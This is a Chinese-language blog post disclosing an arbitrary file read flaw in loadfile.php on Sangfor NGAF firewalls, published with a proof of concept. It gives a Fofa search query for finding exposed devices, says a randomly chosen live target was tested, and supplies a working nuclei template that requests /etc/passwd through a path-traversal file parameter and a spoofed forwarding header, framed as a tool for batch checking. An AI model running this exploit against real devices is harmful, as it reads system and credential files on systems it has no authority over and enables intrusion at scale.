深信服NGAF任意文件读取漏洞(附 poc)

0x00 前言

深信服 NGAF 是一款集成了下一代防火墙、Web 应用防火墙、入侵防御系统等多种安全功能的网络设备1。近日,发现了一个任意文件读取漏洞,可以通过该漏洞获取服务器上的敏感文件,如配置文件、密码文件、日志文件等。本文将介绍该漏洞的复现过程和利用方法。

0x01 漏洞分析

漏洞存在于深信服下一代防火墙NGAF,具体的漏洞点是 loadfile.php 文件,该文件接受一个 file 参数,用来指定要下载的文件。但是该参数没有进行合理的过滤和校验,导致攻击者可以通过构造特殊的 file 参数,来读取服务器上任意目录下的任意文件。

0x02 漏洞复现

使用了 fofa 搜索语句
title="SANGFOR | NGAF" 来寻找一些深信服 NGAF 的设备。随机选择了一个目标 IP ,构造POC ,注意要加y-forwarded-for这个头,如图所示:

0x03 批量检查nuclei POC

id: sangfor-ngaf-fileread

info:
  name: 深信服 NGAF 任意文件读取漏洞
  author: fgz
  severity: high
  reference:
    - none
  metadata:
    fofa-query: title="SANGFOR | NGAF"
    veified: true
  tags: fileread

http:
  - raw:
      - |
        GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        y-forwarded-for: 127.0.0.1

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && contains(body, 'root')"